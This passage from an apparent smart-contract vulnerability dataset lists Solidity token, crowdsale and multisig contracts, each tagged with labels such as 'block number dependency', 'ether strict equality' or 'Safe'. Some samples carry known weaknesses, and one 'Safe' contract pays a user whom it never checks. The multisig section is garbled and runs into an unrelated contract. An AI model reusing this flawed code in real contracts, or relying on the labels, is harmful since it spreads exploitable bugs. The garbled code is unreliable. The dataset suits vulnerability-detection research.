_tokenContract) private view returns (bool) { return _tokenContract == ZTHTKNADDR; } } library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } }",./Dataset/block number dependency (BN),0,0 0x025bf56e0f316a49fa040bc05922857f417fcb34_CCH_FGRE_1.sol,"pragma solidity ^0.4.21 ; interface IERC20Token { function totalSupply() public constant returns (uint); function balanceOf(address tokenlender) public constant returns (uint balance); function allowance(address tokenlender, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenlender, address indexed spender, uint tokens); } contract CCH_FGRE_1 { address owner ; function CCH_FGRE_1 () public { owner = msg.sender; } modifier onlyOwner () { require(msg.sender == owner ); _; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 ID = 190191 ; function setID ( uint256 newID ) public onlyOwner { ID = newID ; } function getID () public constant returns ( uint256 ) { return ID ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 ID_control = 1000 ; function setID_control ( uint256 newID_control ) public onlyOwner { ID_control = newID_control ; } function getID_control () public constant returns ( uint256 ) { return ID_control ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Cmd = 1000 ; function setCmd ( uint256 newCmd ) public onlyOwner { Cmd = newCmd ; } function getCmd () public constant returns ( uint256 ) { return Cmd ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Cmd_control = 1000 ; function setCmd_control ( uint256 newCmd_control ) public onlyOwner { Cmd_control = newCmd_control ; } function getCmd_control () public constant returns ( uint256 ) { return Cmd_control ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Depositary_function = 1000 ; function setDepositary_function ( uint256 newDepositary_function ) public onlyOwner { Depositary_function = newDepositary_function ; } function getDepositary_function () public constant returns ( uint256 ) { return Depositary_function ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Depositary_function_control = 1000 ; function setDepositary_function_control ( uint256 newDepositary_function_control ) public onlyOwner { Depositary_function_control = newDepositary_function_control ; } function getDepositary_function_control () public constant returns ( uint256 ) { return Depositary_function_control ; } address public User_1 = msg.sender ; address public User_2 ;// _User_2 ; address public User_3 ;// _User_3 ; address public User_4 ;// _User_4 ; address public User_5 ;// _User_5 ; IERC20Token public Securities_1 ;// _Securities_1 ; IERC20Token public Securities_2 ;// _Securities_2 ; IERC20Token public Securities_3 ;// _Securities_3 ; IERC20Token public Securities_4 ;// _Securities_4 ; IERC20Token public Securities_5 ;// _Securities_5 ; uint256 public Standard_1 ;// _Standard_1 ; uint256 public Standard_2 ;// _Standard_2 ; uint256 public Standard_3 ;// _Standard_3 ; uint256 public Standard_4 ;// _Standard_4 ; uint256 public Standard_5 ;// _Standard_5 ; function Eligibility_Group_1 ( address _User_1 , IERC20Token _Securities_1 , uint256 _Standard_1 ) public onlyOwner { User_1 = _User_1 ; Securities_1 = _Securities_1 ; Standard_1 = _Standard_1 ; } function Eligibility_Group_2 ( address _User_2 , IERC20Token _Securities_2 , uint256 _Standard_2 ) public onlyOwner { User_2 = _User_2 ; Securities_2 = _Securities_2 ; Standard_2 = _Standard_2 ; } function Eligibility_Group_3 ( address _User_3 , IERC20Token _Securities_3 , uint256 _Standard_3 ) public onlyOwner { User_3 = _User_3 ; Securities_3 = _Securities_3 ; Standard_3 = _Standard_3 ; } function Eligibility_Group_4 ( address _User_4 , IERC20Token _Securities_4 , uint256 _Standard_4 ) public onlyOwner { User_4 = _User_4 ; Securities_4 = _Securities_4 ; Standard_4 = _Standard_4 ; } function Eligibility_Group_5 ( address _User_5 , IERC20Token _Securities_5 , uint256 _Standard_5 ) public onlyOwner { User_5 = _User_5 ; Securities_5 = _Securities_5 ; Standard_5 = _Standard_5 ; } // // function retrait_1 () public { require( msg.sender == User_1 ); require( Securities_1.transfer(User_1, Standard_1) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } function retrait_2 () public { require( msg.sender == User_2 ); require( Securities_2.transfer(User_2, Standard_2) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } function retrait_3 () public { require( msg.sender == User_3 ); require( Securities_3.transfer(User_3, Standard_3) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } function retrait_4 () public { require( msg.sender == User_4 ); require( Securities_4.transfer(User_4, Standard_4) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } function retrait_5 () public { require( msg.sender == User_1 ); require( Securities_5.transfer(User_5, Standard_5) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } }",Safe,8,8 205.sol,"pragma solidity ^0.4.16; /* 创建一个父类, 账户管理员 */ contract owned { address public owner; function owned() public { owner = msg.sender; } /* modifier是修改标志 */ modifier onlyOwner { require(msg.sender == owner); _; } /* 修改管理员账户, onlyOwner代表只能是用户管理员来修改 */ function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } /* receiveApproval服务合约指示代币合约将代币从发送者的账户转移到服务合约的账户(通过调用服务合约的 */ interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // 代币(token)的公共变量 string public name; //代币名字 string public symbol; //代币符号 uint8 public decimals = 18; //代币小数点位数, 18是默认, 尽量不要更改 uint256 public totalSupply; //代币总量 // 记录各个账户的代币数目 mapping (address => uint256) public balanceOf; // A账户存在B账户资金 mapping (address => mapping (address => uint256)) public allowance; // 转账通知事件 event Transfer(address indexed from, address indexed to, uint256 value); // 销毁金额通知事件 event Burn(address indexed from, uint256 value); /* 构造函数 */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // 根据decimals计算代币的数量 balanceOf[msg.sender] = totalSupply; // 给生成者所有的代币数量 name = tokenName; // 设置代币的名字 symbol = tokenSymbol; // 设置代币的符号 } /* 私有的交易函数 */ function _transfer(address _from, address _to, uint _value) internal { // 防止转移到0x0, 用burn代替这个功能 require(_to != 0x0); // 检测发送者是否有足够的资金 require(balanceOf[_from] >= _value); // 检查是否溢出(数据类型的溢出) require(balanceOf[_to] + _value > balanceOf[_to]); // 将此保存为将来的断言, 函数最后会有一个检验 uint previousBalances = balanceOf[_from] + balanceOf[_to]; // 减少发送者资产 balanceOf[_from] -= _value; // 增加接收者的资产 balanceOf[_to] += _value; Transfer(_from, _to, _value); // 断言检测, 不应该为错 assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /* 传递tokens */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /* 从其他账户转移资产 */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /* 授权第三方从发送者账户转移代币,然后通过transferFrom()函数来执行第三方的转移操作 */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* 为其他地址设置津贴, 并通知 发送者通知代币合约, 代币合约通知服务合约receiveApproval, 服务合约指示代币合约将代币从发送者的账户转移到服务合约的账户(通过调用服务合约的transferFrom) */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * 销毁代币 */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * 从其他账户销毁代币 */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract ROSCcoin is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; /* 冻结账户 */ mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* 构造函数 */ function ROSCcoin( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* 转账, 比父类加入了账户冻结 */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// 向指定账户增发资金 function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// 冻结 or 解冻账户 function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }",./Dataset/ether strict equality (SE),3,3 1475.sol,"// Created using Token Wizard https://github.com/poanetwork/token-wizard by POA Network pragma solidity ^0.4.11; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // Temporarily have SafeMath here until all contracts have been migrated to SafeMathLib version from OpenZeppelin /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, SafeMath { /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Upgrade agent interface inspired by Lunyr. * * Upgrade agent transfers tokens to a new contract. * Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting. */ contract UpgradeAgent { uint public originalSupply; /** Interface marker */ function isUpgradeAgent() public constant returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } /** * A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision. * * First envisioned by Golem and Lunyr projects. */ contract UpgradeableToken is StandardToken { /** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */ address public upgradeMaster; /** The next contract where the tokens will be migrated. */ UpgradeAgent public upgradeAgent; /** How many tokens we have upgraded by now. */ uint256 public totalUpgraded; /** * Upgrade states. * * - NotAllowed: The child contract has not reached a condition where the upgrade can bgun * - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet * - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet * - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens * */ enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed _from, address indexed _to, uint256 _value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); /** * Do not allow construction without upgrade master set. */ function UpgradeableToken(address _upgradeMaster) { upgradeMaster = _upgradeMaster; } /** * Allow the token holder to upgrade some of their tokens to a new contract. */ function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { // Called in a bad state throw; } // Validate input value. if (value == 0) throw; balances[msg.sender] = safeSub(balances[msg.sender], value); // Take tokens out from circulation totalSupply = safeSub(totalSupply, value); totalUpgraded = safeAdd(totalUpgraded, value); // Upgrade agent reissues the tokens upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } /** * Set an upgrade agent that handles */ function setUpgradeAgent(address agent) external { if(!canUpgrade()) { // The token is not yet in a state that we could think upgrading throw; } if (agent == 0x0) throw; // Only a master can designate the next agent if (msg.sender != upgradeMaster) throw; // Upgrade has already begun for an agent if (getUpgradeState() == UpgradeState.Upgrading) throw; upgradeAgent = UpgradeAgent(agent); // Bad interface if(!upgradeAgent.isUpgradeAgent()) throw; // Make sure that token supplies match in source and target if (upgradeAgent.originalSupply() != totalSupply) throw; UpgradeAgentSet(upgradeAgent); } /** * Get the state of the token upgrade. */ function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } /** * Change the upgrade master. * * This allows us to set a new owner for the upgrade mechanism. */ function setUpgradeMaster(address master) public { if (master == 0x0) throw; if (msg.sender != upgradeMaster) throw; upgradeMaster = master; } /** * Child contract can enable to provide the condition when the upgrade can begun. */ function canUpgrade() public constant returns(bool) { return true; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Define interface for releasing the token transfer after a successful crowdsale. */ contract ReleasableToken is ERC20, Ownable { /* The finalizer contract that allows unlift the transfer limits on this token */ address public releaseAgent; /** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/ bool public released = false; /** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */ mapping (address => bool) public transferAgents; /** * Limit token transfer until the crowdsale is over. * */ modifier canTransfer(address _sender) { if(!released) { if(!transferAgents[_sender]) { throw; } } _; } /** * Set the contract that can call release and make the token transferable. * * Design choice. Allow reset the release agent to fix fat finger mistakes. */ function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { // We don't do interface check here as we might want to a normal wallet address to act as a release agent releaseAgent = addr; } /** * Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period. */ function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } /** * One way function to release the tokens to the wild. * * Can be called only from the release agent that is the final ICO contract. It is only called if the crowdsale has been success (first milestone reached). */ function releaseTokenTransfer() public onlyReleaseAgent { released = true; } /** The function can be called only before or after the tokens have been releasesd */ modifier inReleaseState(bool releaseState) { if(releaseState != released) { throw; } _; } /** The function can be called only by a whitelisted release agent. */ modifier onlyReleaseAgent() { if(msg.sender != releaseAgent) { throw; } _; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { // Call StandardToken.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { // Call StandardToken.transferForm() return super.transferFrom(_from, _to, _value); } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } /** * A token that can increase its supply by another contract. * * This allows uncapped crowdsale by dynamically increasing the supply when money pours in. * Only mint agents, contracts whitelisted by owner, can mint new tokens. * */ contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); /** inPercentageUnit is percents of tokens multiplied to 10 up to percents decimals. * For example, for reserved tokens in percents 2.54% * inPercentageUnit = 254 * inPercentageDecimals = 2 */ struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if(!mintAgents[msg.sender]) { throw; } _; } /** Make sure we are not done yet. */ modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event Transfer(0, receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } /** * A crowdsaled token. * * An ERC-20 token designed specifically for crowdsales with investor protection and further development path. * * - The token transfer() is disabled until the crowdsale is over * - The token contract gives an opt-in upgrade path to a new contract * - The same token can be part of several crowdsales through approve() mechanism * - The token can be capped (supply set in the constructor) or uncapped (crowdsale contract can mint new tokens) * */ contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { /** Name and symbol were updated. */ event UpdatedTokenInformation(string newName, string newSymbol); event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); string public name; string public symbol; uint public decimals; /* Minimum ammount of tokens every buyer can buy. */ uint public minCap; /** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param _name Token name * @param _symbol Token symbol - should be all caps * @param _initialSupply How many tokens we start with * @param _decimals Number of decimal places * @param _mintable Are new tokens created over the crowdsale or do we distribute only the initial supply? Note that when the token becomes transferable the minting always ends. */ function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) UpgradeableToken(msg.sender) { // Create any address, can be transferred // to team multisig via changeOwner(), // also remember to call setUpgradeMaster() owner = msg.sender; name = _name; symbol = _symbol; totalSupply = _initialSupply; decimals = _decimals; minCap = _globalMinCap; // Create initially all balance on the team multisig balances[owner] = totalSupply; if(totalSupply > 0) { Minted(owner, totalSupply); } // No more new supply allowed after the token creation if(!_mintable) { mintingFinished = true; if(totalSupply == 0) { throw; // Cannot create a token without supply and no minting } } } /** * When token is released to be transferable, enforce no new tokens can be created. */ function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } /** * Allow upgrade agent functionality kick in only if the crowdsale was success. */ function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } /** * Claim tokens that were accidentally sent to this contract. * * @param _token The address of the token contract that you want to recover. */ function claimTokens(address _token) public onlyOwner { require(_token != address(0)); ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(owner, balance); ClaimedTokens(_token, owner, balance); } }",./Dataset/ether strict equality (SE),3,3 38719.sol,"pragma solidity ^0.4.11; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed _sender, uint indexed _transactionId); event Revocation(address indexed _sender, uint indexed _transactionId); event Submission(uint indexed _transactionId); event Execution(uint indexed _transactionId); event ExecutionFailure(uint indexed _transactionId); event Deposit(address indexed _sender, uint _value); event OwnerAddition(address indexed _owner); event OwnerRemoval(address indexed _owner); event RequirementChange(uint _required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i PriceData) public historicPricing; uint public index; address public owner; uint8 public decimals; function setPrice(uint price) public returns (uint _index) {} function getPrice() public view returns (uint price, uint _index, uint blockHeight) {} function getHistoricalPrice(uint _index) public view returns (uint price, uint blockHeight) {} event Updated(uint indexed price, uint indexed index); } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20Interface is ERC20Basic { uint8 public decimals; } contract HasNoTokens { function tokenFallback(address from_, uint256 value_, bytes data_) external { from_; value_; data_; revert(); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal 